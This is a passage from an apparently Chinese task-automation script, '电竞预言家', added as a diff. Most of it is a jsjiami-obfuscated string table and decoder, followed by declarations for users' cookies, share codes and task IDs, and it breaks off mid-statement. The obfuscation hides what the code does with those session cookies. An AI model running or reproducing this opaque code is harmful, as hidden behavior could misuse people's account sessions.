+*/ +const Ariszy = '电竞预言家' +const $ = Env(Ariszy) +var _0xodi='jsjiami.com.v6',_0x5b23=[_0xodi,'McKrwrs=','w5QywrDChlg=','PifDgw==','w69aX8Ks','wqQGQ8Ki','V8ONwrtT','woBCRcKAw7YL','SMKPwrM=','5YiN5YuI5ouS5YmqNw==','EsKhw53CogQ=','Ehd0aA==','w69TXcK/Sw==','wo0lKWw3','X8Kxw4XDlA==','D1hsC1gK','RMOjwqs=','8YSooeWIpeWLmuWnoei0rTDlt7vnuYDlipDlipvovqXkuYN+','KE3CuHIX','bsOHIsOgLw==','KgfDmcORw4Y=','V8K/w5bDsAYd','wrRde8Otw5bCiABELMOjHcOVw5w/woZcw4gsJVrChMKtEU0=','PnnDkg==','wq0Ww4XDvD8=','LsOWB8KrwqM=','wos+cMKDwr8=','F8KESy3Cjw==','NAnDtMO1w5Y=','w5PCoR3Du1A=','w5dTw6lpwr0=','wqtUa8KZw64=','w6wEwprCp1Q=','SMKFwrrCoRAQ','w6Mvwr3Dn8K8','w7JxLA==','YcO5wqHCgCM=','UQbDqV7DvA==','w449wo/CoXs=','TMKxw5jDgQ==','w6vCgcKEPAs=','CEPCkX0L','ZMOgwrrCqgU=','wqPDkDVYw50=','BDvDlsKTNg==','MwLDuMOIw5Q=','w5HCosKENjw=','XnLCsitpwrAswqAZ','wo1bw4HCmMK3','woBdw5TCv8K2wrNtw61UZsKNKcO3AGzDoxgPNMK2w6vCrsKcHW7DtgB7wplIwqF0LhXDu2vDnMKOwoTCq1J/w5zCoTLDhsKiw618WhJjwobDk8KKw6XDvHIMeV1/w5hMwr4Gw44=','BMKuwq3CnjwGc8KewppgLzLCucKYCw1dEsOsXmV0CsKJamNZPMKOwoDDqMOFw7/DuMKwwpgNesOiGsKI','G0l5K0QUaA==','w7toIm7Dig==','wqJCw4vCvcK7w6tEw4E=','wrc1w63DojU=','aBzDt0Q=','w79Tw6lPw6Q=','w6d6I0fDlQ==','w61ML23DqQ==','aMKVwobDnX0=','CV3DtMOgew==','woZiwpPCjQ==','fnLCuSU=','YcOXOgjDlcO1wr0=','aDjCscOGwo0RZw==','esKyw7rDjxw=','CsKrwq5dTg==','w7LDrMO2wpw3','esOjwohcU8Kbwoc=','WsKxwrnDnXVowpzCiA==','acO7GcO9','w744wqvDrMKTD24=','w5bClcKaOTTCmg==','dcOhDQ==','wrR+w6nCl8KV','N8OpJMKEwr8=','wr1jPR9w','R8OLeHDChg==','Z8OGwr3CjDM=','JyEp','TcK1wr/DnHpowrQ=','WMO2woFzEw==','OsKESQjCqklS','OsK9w73CrQ4=','WsOtwrRVeA==','MC/DoQ==','wqcXw5rDpS/Dpg==','woAyw73Dnzw=','ZTM+woc9SC1GwqbCk8Kcw5ADwr0Pw4fCp8O7dA==','dhbCi8OjwpMwXVYSwpkaw78yw4ojR8OxOmgDDsK5Mw==','w6hvDsKUcA==','woYiw5vDgAs=','w4Y2wr/DgsKgDw==','asOewoPCuQYOTcK6wqtaCgrCq8KSGRM=','w5TDi8OEJ20=','OCDDtQ==','w4Brw7wow798fXrDpBZnB8KxJsKbw6DDpcO6w5c=','PBYnwrld','WMOAwqF6Og==','wph+aMOnw4Q=','w7VDw6Nzwok=','woM+QMK9wq8=','fMKrwobCpy8=','bxLDrUTDuQ==','wqFVFh1n','w6JCWcK+RA==','w5DCsy3Drg==','G8KTaxnCrw==','SzjCq8OZwr8=','K8KMwrBAcA==','GUJp','wqpgwrXCuAo=','dMK9w7PDpSc=','w4vDhMOLI1w=','w6tMw4Jsw5LDpsOPwpYPw70xw55SeSLDoMK2w7Erw5Fq','wqtiw63CmMKNw51Gw4ptWMKlSsOaMFbChCwuBcOlwq/Dt8OC','NxLDtFnCpcONwrHDtnLCvzJZZMKDOMKWw5Evw5k=','woNzTcKWw5A=','eRPCq8Opwo4=','wqFAacKmw7o=','Qwx1UcOW','dcKJwpVCwq4=','w6Adw7YAdA==','w6DCvjzDll8=','DcKIbjbCug==','wq5RwrRfNQ==','OMKPWQ==','woEvw77DixI=','bsOvA8Oh','w54wwrXDosKBCX3DhcOQ','VMOJwrtmKg8/','w4UjwrLCnFnDmT3DncO1WETChcK5wrTDlcOdXhQHSsOFwoLDqcODG8KLworDlMO6w5AHLcKwwqjDg8OhCsKAwpvCq8ObwovChsKXWcKADcK0wolVwpHDumpKJ8KNV01qwqnDsyc3ew==','w7scw79fJxbDjcOgwp3CnsKWWA==','CsKgw6DDjCEif8KLwrl9IDjDq8KAEw==','fmrDhcKKKATChcOhQcKeTMOaw7LDo8KUYMK1','CMO8w6nDmWt1wpjCjUZdw79hw4xtVn0=','OcK2wrg=','W0HCoMOnIw==','w4TDj8OZB3fDvQI=','esK0wrNATcOvw6nCrx7Du0FH','w5XDqMOfGW4=','5Lqn5Ym55a2Q5oi3','wp1+w6Ynwro=','w6ciw5c8ew==','wp9lw781','w6wywq3DtsKo','JsOQDsKnwpE=','w7VKw6Zuw7g=','MMKgwpg=','6Kyu5YuP6ZmS5oSk5Z2uJ8OJw5HCs8OP6Ly/5YSf5qOU5LyP5pai5YWe5ayYUuW7pOiusOmAhei9seiGr+afi+WPnOiMl+WMgsKlQRROTMKJ','wp9rw74ywrU=','w6pYWcKDVw==','w4k2wrzDog==','w6BaXA==','PsK5w5fCljg=','w7oZw50H','wo1ow4klwqo=','w6TDqMOLOX8=','w6tvasKKRA==','w47Cm8KO','WMK8wrjDl38=','w5oZw5EUfw==','IEjCpw==','woNlw6s=','FVPDocOWbMKK','w4NUDcKZfcOzwpHCgy1jw7cdw43DgWjCksK+QsOSdMKqIMKTFsK5w67CqsO9LmvClMK2NA==','WsKgw5jCmxlBScKzX8K0wr1M','w4ItwqzDt8KhRzPCh8OEN8KUA8OrelbDisOcwpwwasKqw7zDnlzDjsOuB8OUw4Z7CMKew73Cq8Oj','cRXCpMOgwoo=','w53DqsO7wowT','wqoxYcKUwrw=','asKJw7zDtDU=','wqAMU8KTwqd+Fg==','w5VaS8KTw6oWRQLDgDzCg8KN','cWTCmy9p','woF+w6AZwoo=','5ayv5oq65oiQ5aSF','Vw1+e8Ob','w4vCl8KTHSw=','JnDCrVAv','MsKswrB/fg==','wrdXwprCiQ4=','w6ggwqHCkmc=','w5fCvTfDrg==','w5jCnMKYIwg=','woleVcKFw7Y=','S8Kxw4PDhhE=','wqZWHw==','wrpfwrlO','W2nCmgtr','wqtrw4ktwoE=','NQ3DgsOcw7E=','w5BHPsKRcg==','ICvDp8KNOg==','FVPDoQ==','woh+wpA=','dwhXbg==','w7ZPw5dnwqo=','wqN/Mj5k','w6RBT8K5UA7ClHE/wppkw6dCwp5PWn/DncKMw5NkIjXDjw==','DMKAwqxe','wppKCi1N','w6/Cgy/DtUE=','w4JvwqNjwos=','woRvw6kxw71pcGDDuVw=','wqsiF00OM10hCSjDh8OzHjYPLsKCLsOmEGbCtGrCicO3w4rDi1fCtsK9Ez4i','f8Ojwq5CDw==','dsK8PUlV','w746w7sJXQ==','WcOqwrZkNA==','5LuA5Ymx5YOr5ay5','NMKmw6PChjANw6scBXLChz00RCwVw4hPIkc3w5JDw4LDkjrCvmdSLMKOwrYww5Mwwq1DwrvClRYlS1zDmmDDphDCnMKVECdswonDolYIBnZrw6IGRDVw','wpTCl8KewosgSSzDgsK6WUMM','wo8vwqxBw77DhcO5wrMuw4YYw4VnTBTCicOTw6M=','O8KiSMO0DsKOL8KhSUxgT2nDiX/Cqh0xDT4JW3LCrMOyw7rDgGUWwoEqE8KNwoIXFMKW','Ph/Dq1fDo8OXwoTDvGnDtWgO','w4how710','w51iw7xTw7g=','w4/DhcOK','w63CtQfDvns=','CEVgGn4NbHzChA==','wotrw7gg','TcK0GQ==','5YKG5LuS5Yqu','bxLDrUQ=','BsONDcKxwps=','wpd/woPCqRg=','KMOKAMKYwpE=','w5fCpzfDsg==','MMKgwphPCEo=','asO6GMO8EMKA','R8OlwrbCryw=','wrNKLRBW','wph6wqRvMQ==','w5XDkMOEwrME','ByNjfsKL','w5tcU8KbSg==','TsOSX0LCgg==','TcOdJcOUPw==','WsK+w6HDsDw=','DMKOw6vChiU=','wpEafcKIwpQ=','w6HCjsKiIzg=','wqMXC1ES','NkB3LGA=','wrFEwqlbNV/CicKGwovDncObVMO1wojDr8Kzw5Q6a216w4TDlsKICcOUwrHCqFpVRkrCgcKJIWPDq1p4YCcqw7RDwrIeHzzCvcK7eTPCjRFPwp7CllZew6M=','wpbDvCs=','OD1ObcKK','CRohwq9b','acK9NGB1','w5fCszbDqU8=','CWLCiVE0','YQ9Law==','w5Zmw6Nl','5Lqv5ZyM56qj54+p5pei6ZWk5YW177+26K6z5ZykwqgK54Ce5Lu55YmK6Lys6KOe','MBpJWsKO','fR9WZMObTg==','w5A7wrvCoVc=','Izlmb8Kv','CcKXwrpBaQ==','w5c6wqPCnlw=','wp3Dtjg=','woFrw6Ek','6KyW5YuS6Zir5oeZ5Z+6w4xhw713e+i9v+WFoeajm+S+geaUrOWFgOWvh3DluqDorbvpgoXovIDoh6nmnZ/ljpzojKXlj6t7wp5GwqdtIg==','UMK1wqJpwos=','UjvDrEPDuw==','EmlGHWc=','w7PCszfDsWtWwqM=','OMK5wqhG','TBLDt1vDi8OLwqI=','w5QmwrHCnQ==','TcOvGcO+P8KVEA==','wrQZw4fDqyjDt8KiDg==','wrtrw78qwpF6bg==','WsOjwohcW8KN','wr9hQcKSw6s=','T2jCiAdh','ZMOnwpzCrSA=','YcKPwqbChAE=','ZcOybg==','ZMOubg==','OMKlw7Q=','cwt8Z8OC','dcOrBMOyCsKP','wonDtzhrw4c=','w5DClcKHNhLCkw==','w4vCvSM=','aRRfVMON','6Zu25pyG5Y2Q5YWpLeS7kuWLo+WIo+egjWbotI/ljow=','TQDDoULDhMOYwr3DoA==','5Y635bG+5Yic5YiV44GW','LMO1KcKPwoM=','QhZpVcOi','ZsK8FkFE','w7J7JXnDrzE=','wogGRsKEwrc=','dG7Cky9kwrA=','w45VNsKmYQ==','wqQlPXQd','MsKuwpJv','IVTCpw==','wrBYRMOOw5A=','bDzClcOPwqo=','bmnCryluwrI=','6K2T5Yqs6ZmN5oe65ZyVwqYxw43DlkXovrblh43mopXkvLXmlpXlhb7lroFr5bqT6K6H6YKr6Lys6Iac5p6B5Y+p6I2Y5Y2hw5TDvcOeATTCvA==','w6rClzzDgng=','McK8wpg=','w6UQwpvDvcKi','SMOwwpRa','w7LCsRDDrV0=','wqA7IGcu','w7XDjcO0GE8=','wq5ew5sDwoE=','b8OkfUbCicOIw4A=','Y8OAWWTCtA==','e8K7wrlZwqxwwpB/w5nCjSt0w63Dvih8TQ==','JnrCkHEW','w48SwpLCg2k=','MsKzw6fCojtew7wc','w408wqzDg8KzCXk=','wqZlw6fCusKc','woTDjAp0w7E=','e8Ohwq9AZQ==','cMOVwr1DIg==','PVrCsnQn','U8OkEzfDhw==','wq55wq9MAg==','wp9QfcOsw4Q=','wpRTUMKgw6oVdA==','HTdQf8K2','H8Khwq5WRQ==','Ty3CsMOEwqIEfH87','w4vCh8KnPRnCmw==','w4siwoTCjTfDsVkxHcO6w5bCng==','NcK8wrFlHl0=','CsOPwr7CoicXHW/DpcK+wo1tdg==','w51xJHXDsjzCgyA=','X8KxwqJmwqx4wr9BwoQ=','Kl7CtGMjL8O6','wqZiwpjCgzDDsGQULQ==','wqkZw4U=','w69aVMKiSlE=','HlnDssOlf8KU','MsKzw6fCuz1dw60=','w7l7P0rDsjTCrA==','GcO8EsKkwp1uw6V5w5AV','w7l7P1bDtCzCuxc=','wqw9FWQGM1Q=','w7xASMKh','KFXCtg==','wpTDtyk=','w4tiw6JTw7g=','w6k2wrfDrMK7GFbDrA==','UsOTPQfDtcOzwq4=','dsOZJgjDvcOiwoXCoMO2','XsK/woTDmnE=','e8K7wrlpwqRpwpQ=','wqxlw6Mqwrltb0PDiw==','E8O4Fg==','PsKOUgfColg=','w69lb8KLRA==','EUjDssOjbcOCZcKXbi9IFTnDvMOMwpvCnsOow6VvFcKCJh7DqDjClAzDocOaP8OIacK2w7oLw4rDscOjw6DDn0pp','5Luo5Zyl56ip54+05pav6ZWh5YaS772f6K6e5Z67woHDn+eDt+S4oOWLu+i/kuiiig==','cMKkwpjDiEk=','wp5yKTdf','QcKowpHDiHE=','T8KYwo7Ctg4=','w4bDjsOPwpc=','woJ5w6s=','fxtVZg==','wrJEZMOlw44=','w5ZNIUTDrg==','w7tnUcKLaA==','wrtMe8OVw4rDh10Y','wpzDqjg=','eQrCp8OXwoM=','GhNubsKWwrk=','cMKrwoXCpCU=','PsKswrVnMg==','BzvDgcKbEgzCnsOt','w5vDmsOIwpwp','wohew6jCucK1w6dg','WsOCwqtXOw==','dcOvJ8ONMA==','cXLCug==','FzfDt2oqw79M5b+k5aeg44GF5LqQ5LqD6LWi5Y+N','R8Oswp9Sag==','QMOrwphcXMKIwpg6','w78qwr3DtcKcHHHDjQ==','w7YDJcK3wo/CmAVBZ8KZ','IyECwoF1VSI=','GBdtbA==','44OX5o6556Sd44OWwq18HMOrw6nDp+W2n+WljOaUoA==','5LuS5LqF6LWA5Yye','w6QWw5AWaQ==','wrRew4HCpMKcw69jw6A=','NcKVSRzCuAccw5bChsO7M8KuPMOSwrHDqW8Mw4FCwpdVwqDCk1rCscO0w5/DnsKRHzUswrTDigYmZsOcwofDo2fCjA==','asOrBMOxMMKIFsKpX0U=','c3zCsCU=','w45sw6FLw7TDlOW1ouWntOaUj8KSTMKh','wqTDqjpOw6vCqcOOVg==','w4vCmsKNNwU=','ccKTwrHCtCoZH2E=','w4Edwo7Cu28=','w5XCpcKrNwg=','w5RGw6lLw5U=','bMKXwoLDqX4=','aMOFwrJmdw==','BinDl8KCHR/CgQ==','CV3DtMO2cMKMA8Oc','wpAZw4bDpQfDscKZ','bBLDt1vDg8Od','woNvw6ImwqRg','w7fCh8KMIDPCnyoS','w6d6X8KNdg==','MMKASQ/Cow==','w47Di8OZMHY=','NcKrwpBIQ8Oow5M=','SMK1GlR0','wqYzKnkp','RxHDqi1occKx5b2D5aeH44Cf5LqA5LiI6LeC5Y6J','MsKmwpxhNFnCliw=','YMOFLBHDmsOmwqLCgQ==','5YuV5Yq35qis5ZyoB1MnO8OewozCpMOJbAM=','Z8KcN2Bp','w45iw7pDw7U=','SMKPwrPCgxYK','X8K/w5/DkA==','wrhAwq1HLwbDh8OdwpDDk8OCVcO4wpLDtMK1wo14antnw4LCmsKXC8OBwr3CqAJbDwrDhg==','OsKbVBzDpx1XwpzCgsOyM8K0d8KTwr/DoXk=','RjHDr8OOwqI=','RcOnwp5HP8KIwpk2HMOR','w61FS8KlSlfDmio3woVjw6ZXwp1SSSbCk8KFw5E5LmjDk1jDjFRZRcO5w6rDisOm','ScO8wqXDgDhleMKKw4RqLjg=','NTrDpcOUw6TCh8Onw6fCsMKEwpTChMOFYMOswrbDk3Q2JUlUGnvCpMKdUTdHw4QbAklkwq4=','wo9pwpbCmCnCrn4OAcO8w57CgnVSwpg2w6jCjsKVw4x1c0nCkGHCjBwwVsK2w5vCu2fCiAoNG0bDvFDDmsKpAcOdecKjf8Krw4QfFcOyS8KkdD1Gw67CtSJEJ8OlPF7DsyRUMcOmw4A4GWvDpXjCusKbw4PDgcOKw4sNwqDCt8K/CwV4woYVwoV7SEzDviwmK8OeU8KNwrHCiMO+JsKjwqscw5VBwqQ8QcKzw4LCqcKsK8OuQsKzMRcFwozDjynCuQLCmG4sw4XDtGAIEC3Dr13DkMOEw7lAwpXDpsKfXigmE1d5bMKrwqLCswtAwpcLw77CiEzDscKPXsODw5wSw4fDhVrCswV4LsOpeMOCD8OscGkWwpPCjsOSwqvCicOFcQ7Dk8KRw4xUc3bDjh4qwr1LUE9RFyHDssOaw7jCpsKTwoPCl8OxEcKeG8Otw5t/wqkXT3VcwoMWw50nPGnCnMKLecONbEfCksKAwqYKScKvw63Ch29ge03DssKGN8K8V8KRbMK9YDRed2wyw4jDucOwczNRD8Oiw4PDn8Ocw4fCoUnDvFbDvQ9ZYgRkwpoYw4FzGcONwovClHgTfcKmwr3Do8KIwrrCsMOWwovCgUwow43CssOhw6cHwq5vXDzCtSAQw47CtX8mR8OsOMOGwpdbKcKww74nwo4MOcKIcU5YdF7DjyQVOsO4w5BrOsKOwpB7FMK5wojDrRcXCcOMwo3Dl1V+SCtgHxk=','U8Kkw4XDhQdVDMO4EMKnwrsPZcKbY8O7GMObw55Sw53DhmoI','DcKubjg=','w4DDjsOqJFo=','wqFnVcKHw5M=','woJFw7k4wp4=','wqAOfcKBwp4=','FFh5D15DIj7CkMOIw73CjnA4w5fDthtkwroAAx/Dr3/DrMOiTm0Xw5rDusOlw6pMR8KbJ0nDlcKFcMKMC8KPwqIfwoZifE7DiMOPBDzCjjQUXMOYwo4sUj3CjxNUwpMZOkPCjy/Ds8KPOgTCoWxxw7rCpTBUwolTbMOfwoLDpcKVw71rw5RUWzM1TcKNYxbDkMKVCsKSwolSwoLCh8ONwqZIw5A3woBTw5gCwr5vb8KewoLDkEzCg8OCNMOqwrUdO8Kjw63ClsKwXiALbgXDqzvCucK4wr3CkBfDgyLDmGUzd3oDFcKawop3w4UqAlzDhTp7I8OATnvCscOKacKAw4sawpHDvhDDkMOKw7DCpBdnw7krG8K3w6TCuxzCusOUQDTDmgASM8K7ZMO6WcOaw6p8w7tHBj7Du8O5w4HCt3bDtcOQPA3CscOCw7pyK0fDsUwkO3QldgPDk8KuXCnCp8Kxw7jDiVJ8w7sYI8KgB2oKFsO1wqAJw6fChwYcw7/CsSQNZ00VXMKlYzYOHwrCnW7DocKWwprCtVTDscOmw7XCtMO+XSHDhcO3wrBZLcOFwr8/worClGnCjMObO8Klw6bCmcO+w6HCuSgCw7/DscK+w6bDlW5OA3zDnsOBKsOjPsOFwrXChi9Tw5k5FmPDvnXDkg==','wo1Jwr57Mw==','wr1Zf8Oxw4zDkU4fJMO8GsOUw5tiwoNWw4pvPlLDk8K4TlR8Sn/CsMKYccOkwqPCrA==','wrtTZsOtwonCkksOK8O/FcKPw5Q9w4xawpQ=','w53CumnDuUQ=','QMKrFx9hF0nDixPCuAvCpA==','eQ5Mc8OcHFfChExMfxN6Ug3CmBUgJyfDrsOjGMO7w7R/wqXDnHDCpCoow7XCr8Oow7tiATLDimfCghRjdcKseAPDnMO6bXjDuUbCg8ORw71aBMKqPGDDpsKIwpAPw7l6w7oDw6F6w6bCkMO0asOOQ8O/IBIjfcKOIsKfc2TCtgrChcOmwrQAw4/CkS9cwrvDhW55w79Nwp8HYysdMcO3wo/DjCg3NRjDoSRVwovCuMOFwokSQnfCqsOlw4zCt8KRLcOgwqzCicKywo3CvgTDr8Odwrt3w5rCtsOSTsK5QsORW8ORZQ7Do8KQOcOSwqvCigZiw41JIMKDXsK4w6JYwo1zDMO/wp7DtMKJw43Dp8KkGUjDkGtnU1zCm8OpAMOAwqdUw5ENZ8OtG8K9MsKewrtNPjjCvg9hwrtZC8KawrrCp8KHecOew5QdwqPDi2HDr8KZw6h2czvDsUprwr7ClMKPw5guw7pPwojCvVnCgGbDoSHDsMKyNsKGw7HDosKJwpNxwpQAw5LCtyjCkkjCnsK0P8KbaF4wwq8nSEMhLsOIeGLDpFHChsOfB2TDqAjDo8KLwpLDg8KjFXxvwp1Vwo0vNglHwpzDpEjDqHbChhHCnhtUwobCmE7DuTcPw60pwpDDnsOpw6bCjmkLNhPDv8OtFcK+cCU8wpI=','d3nCvDBww64PwrRDOlLDun8DUXnDoMODOmXDsWbCll3CiBIMw7diw5bCo8OsBMOiwqQuNMOUw4TDqwIhaikbw6smwqLCj8KKFBNqwqt9TcOPw6fCjsKgwobCqMONwqvCuhTCm8Ouw7jDp3RuEjbDqcKZZMO7A8O9w4bCqF1kwrAlw53Csj3Cn0tVwrdIwofCjxPCvcOJVQcaasOmWADDgwrCqcOaTMOuLsKZIcOeK8KWfivDpjfDv8OJXcOVw6rCngEFUCDCvcKlLsKHw6XCjGgYw7jDullxwoXDrWhMVsOJw4bDm8OyI27DvMOMwpHCtjtDGsOJwodZw5bCtlzCssOFUDEyIcKMw5Ehw4/DgsKCwq4Qw5LCjcOCHjvCoMOcw4LDnsOJcgnDviDCt0fDmwJ2wovCn3zCgn0sBMOaDQYzQhfCkcOfw4fCqcKDw7jCoEnDrcKsw7p4PMOBw7dCw7DDkUHDk8Kawp0/w7jDtEfDn0nDucK/X2hBfcO1U8K0w69tS1otwr3CmQpuw4DDszhVwpk2f1/CrjvClGvDki/Ck8KXTMKAwrk1bR/CsgHDncKlVsKVbi8Nw6rDusO4w7XCmkXDpivCkcOYDMKKwrM1wrQCW8OZGXsFUsKMWsOJa8Oqw41ewp8HUMK/eRDDi8K/bAcew4DCpEp1RgPDoMKLw5dHwro2w7IyQsOgwo3Ci8KFRsK8wp45cCbCo8KFwrrCucOpwqrCmcOBwoARw53CnzXDkBfCo8KeJQ==','UivCuMOBwp4=','VUfCpAJt','cBfDt0LDkg==','WMOJwqpCbgM2H21j','w7dsw5lFw6Q=','w4UAw4M/fw==','w5XDiMOaFng=','R8OZPA3DsA==','R8OXJwfDu8Oq','wp9ZQw==','ScO8wrzChzF2ccKGwoNnIHjDscONUARaF8OrEmV8FsKMDGABK8KywoDDtsOew5rDvsKtwrNIZsKpC8OqwozDiMOXal3DoMO8w6g2wqHDscKVw6jDoXUnw4zCuWg/w4jCqXMqccOrHA==','f8ONHw3Cu1R+wpjClMOuO8KudcKdwqXCoSRDw5JEw5UdwrfCk0jCrMKaw4LDhMKBFA5gwq3CiQo1','O8K9wqhzTcOsw5g=','wrRPwp7CoDY=','w6NmWcKZcA==','wpVswoXCmzw=','MSHDtg==','w4DDhcOJNg==','S8OjwqjCiw==','w5TDjcOZG1U=','O8K9wqhqS8Ovw4nCvg==','RsK+CnVtTUY=','w4Y2wr8=','w4Bww6k=','FwbDl8Ohw5Q=','w4Y8wrbDoMKmFQ==','IsK3w7rCmw==','wo9hR8Oaw5M=','wqUZfsKkwrQ=','5LuH5Ym/56KS77+1','Y8KqC3d5','wqpKwpJYCg==','cApIasOLGxvDg0FMbVMmDEzCk0JleSnDs8OmG8O8w5J1wrbDkjbCryN2w7/Cr8Orwos6FCvDm0jCkxRtfMO5JwXCicO5I27Cvl7CucOLw5JWF8KzGmfDiMOSw6dHwpNuw4Quwo8gw4bCucOEDsOmTcOtazU1ccOb','wplmw4QlwqA=','woliwpDCrSvDpw==','acOhGcOh','w5DCksKhIio=','JsOpH8KewqA=','GRoGwqlk','wpdrwr/CmA4=','w5LCpMKMGgc=','w7DDjMOMJ24=','EsO2AQ==','wqxIfcOuw4A=','woliwpA=','wrpdwplnEg==','McKOWg==','wo9OTsOkw7Q=','wrhIe8O8','wrlRGSd7wqTDjg==','LTvDosOM','UcOXPQI=','woLDsT5Ow4DCgcOH','CcO4D8Kd','w415CmfDig==','w5Row6lFwpcV','FcO+F8KzwqM=','GMK9wqhgQw==','c8KRw6XDjRk=','WcOZLg==','w4/DucOJA04=','f8KuwqhmwrE=','U8K6EFVjVA==','5Ymu5Yuy5oi35YmYw4Q=','c8OqC8OlDsOcC8KQUVNnRDXDkmvCvBxmRmYSASfDpMKpwrfDh2ghwoQ7SsOOw4kJBsKaCynCgsKIw6LDn8Kxw7hrwqxmwp3DisOLW8OZw77Du8Ozw49yw5HDqcKpKwPClVE2TCLDmcOww5BHwp/DpMKew6k5XlnChMKFZsOVwrtTwrbDn2Ibfh7Cjm7CicOmw5rDrWQbW1oMwrtdNcKjEsOww5MEw7jCgsKww4XCvMKSasKtw5/DsBXCuw1dQw1MUMObw7NDQFIhOz3DqsOOfCARwqPDucOAI8OAw6LCjsOHBV7DvkJaw4xkwqvCkhpNZwRLdMObPGDCmQhuelQRwoLCtMOIwpvDtgMJVXHCvAQ9wrZfccKOG8OJP8KkP8KfwqlHXMKbUMOleMKBwrHDlx9ZwqbCqGFlwoUkwq7DuEnCqk44J8Ouw4ZEw6seaErCojDCvQbCshrCq8OAFMOdw6zDhj3DvgEQwo0iwqBTXR7CuCjDmsK9aH5qdgJ7fsK4wrHDj8OPwovDscKJw4gkwqjDmMOFBDHDh8KSw4YEwol7PVrCvsKFZW7CsSPCu8KcLxLDi8Kxw4DDu8ONw6ReGcKMCznCusOeOxjCr8KSw7XDlinDjsOmwrLCtMOIwpDCvMKff8O/w68yCMKNMHPCpUcfH8O5D8KXGEc3wqIYw6fDn3PCucKGwr7Co8K/dMO7U8Ovwot2F1XDgiN0wrMGwpjCrldywoQ6TcKOLMOydcO3w4c=','wpRmwp/CgSA=','YsOvwrlGEQ==','w4M2wrbCoVTCiTs=','woB3wrTCihg=','PcKXwqV/XA==','bB3Ch8Oqwok=','wpViwqEiwr4=','NivDtMOUwrrDnMKkwqHCosKP','eSjCpsOuwoY=','w4TCnjPDimc=','AC9qZMKv','w70Xw4cH','w47CkMKROz4=','wqdBw4MGwpk=','PMKRTQDCol5Swo3CjcOxPMOvasKSw6jDtHwPw4RCwogXw6/Cg0nCs8K+w4LDlMKZFRkm','woBdw43DuMK/wqBkw6ETa8KDaQ==','wptCUMKEw7BCPlTDlDfDjcOSwqTCpy97PsOiT3nCrB7Di0LClsKJZcKxw6nCgMOpwo0fwrE2','b8KtwoLClBA=','FRHDh8KMKA==','w5LCnsKTFQ0=','jsjUZiami.copmkt.vpp6hOzYPDh=='];(function(_0x225fe6,_0x2dd62f,_0x14d30d){var _0x18cc51=function(_0x240e4d,_0x3621f2,_0x3852ad,_0x9852de,_0x367f31){_0x3621f2=_0x3621f2>>0x8,_0x367f31='po';var _0x4beed1='shift',_0x5c61f3='push';if(_0x3621f2<_0x240e4d){while(--_0x240e4d){_0x9852de=_0x225fe6[_0x4beed1]();if(_0x3621f2===_0x240e4d){_0x3621f2=_0x9852de;_0x3852ad=_0x225fe6[_0x367f31+'p']();}else if(_0x3621f2&&_0x3852ad['replace'](/[UZpktpphOzYPDh=]/g,'')===_0x3621f2){_0x225fe6[_0x5c61f3](_0x9852de);}}_0x225fe6[_0x5c61f3](_0x225fe6[_0x4beed1]());}return 0xb11ce;};return _0x18cc51(++_0x2dd62f,_0x14d30d)>>_0x2dd62f^_0x14d30d;}(_0x5b23,0x14b,0x14b00));var _0x49e1=function(_0x3310a4,_0x2b3c7a){_0x3310a4=~~'0x'['concat'](_0x3310a4);var _0x1f902d=_0x5b23[_0x3310a4];if(_0x49e1['IBpvlB']===undefined){(function(){var _0xc99ce9=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x4a4199='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xc99ce9['atob']||(_0xc99ce9['atob']=function(_0x150bf3){var _0x28b5e8=String(_0x150bf3)['replace'](/=+$/,'');for(var _0x2ddafd=0x0,_0x59161c,_0x4312e9,_0x333e02=0x0,_0x128bef='';_0x4312e9=_0x28b5e8['charAt'](_0x333e02++);~_0x4312e9&&(_0x59161c=_0x2ddafd%0x4?_0x59161c*0x40+_0x4312e9:_0x4312e9,_0x2ddafd++%0x4)?_0x128bef+=String['fromCharCode'](0xff&_0x59161c>>(-0x2*_0x2ddafd&0x6)):0x0){_0x4312e9=_0x4a4199['indexOf'](_0x4312e9);}return _0x128bef;});}());var _0x2c1ac0=function(_0x58bbe6,_0x2b3c7a){var _0x3adb49=[],_0x3ac709=0x0,_0x558257,_0x27cb4a='',_0x40bc3e='';_0x58bbe6=atob(_0x58bbe6);for(var _0x1512d2=0x0,_0xd7340=_0x58bbe6['length'];_0x1512d2<_0xd7340;_0x1512d2++){_0x40bc3e+='%'+('00'+_0x58bbe6['charCodeAt'](_0x1512d2)['toString'](0x10))['slice'](-0x2);}_0x58bbe6=decodeURIComponent(_0x40bc3e);for(var _0x435179=0x0;_0x435179<0x100;_0x435179++){_0x3adb49[_0x435179]=_0x435179;}for(_0x435179=0x0;_0x435179<0x100;_0x435179++){_0x3ac709=(_0x3ac709+_0x3adb49[_0x435179]+_0x2b3c7a['charCodeAt'](_0x435179%_0x2b3c7a['length']))%0x100;_0x558257=_0x3adb49[_0x435179];_0x3adb49[_0x435179]=_0x3adb49[_0x3ac709];_0x3adb49[_0x3ac709]=_0x558257;}_0x435179=0x0;_0x3ac709=0x0;for(var _0x214dd4=0x0;_0x214dd4<_0x58bbe6['length'];_0x214dd4++){_0x435179=(_0x435179+0x1)%0x100;_0x3ac709=(_0x3ac709+_0x3adb49[_0x435179])%0x100;_0x558257=_0x3adb49[_0x435179];_0x3adb49[_0x435179]=_0x3adb49[_0x3ac709];_0x3adb49[_0x3ac709]=_0x558257;_0x27cb4a+=String['fromCharCode'](_0x58bbe6['charCodeAt'](_0x214dd4)^_0x3adb49[(_0x3adb49[_0x435179]+_0x3adb49[_0x3ac709])%0x100]);}return _0x27cb4a;};_0x49e1['XOMdHZ']=_0x2c1ac0;_0x49e1['AdbmAC']={};_0x49e1['IBpvlB']=!![];}var _0x2f544a=_0x49e1['AdbmAC'][_0x3310a4];if(_0x2f544a===undefined){if(_0x49e1['BYxmZJ']===undefined){_0x49e1['BYxmZJ']=!![];}_0x1f902d=_0x49e1['XOMdHZ'](_0x1f902d,_0x2b3c7a);_0x49e1['AdbmAC'][_0x3310a4]=_0x1f902d;}else{_0x1f902d=_0x2f544a;}return _0x1f902d;};const notify=$[_0x49e1('0','cu4Y')]()?require(_0x49e1('1','osi%')):'';cookiesArr=[];CodeArr=[];cookie='';var taskTypeArr=new Array();var taskIdArr=new Array();var brandlistArr=[],shareidArr=[];var taskid,tasktype;const 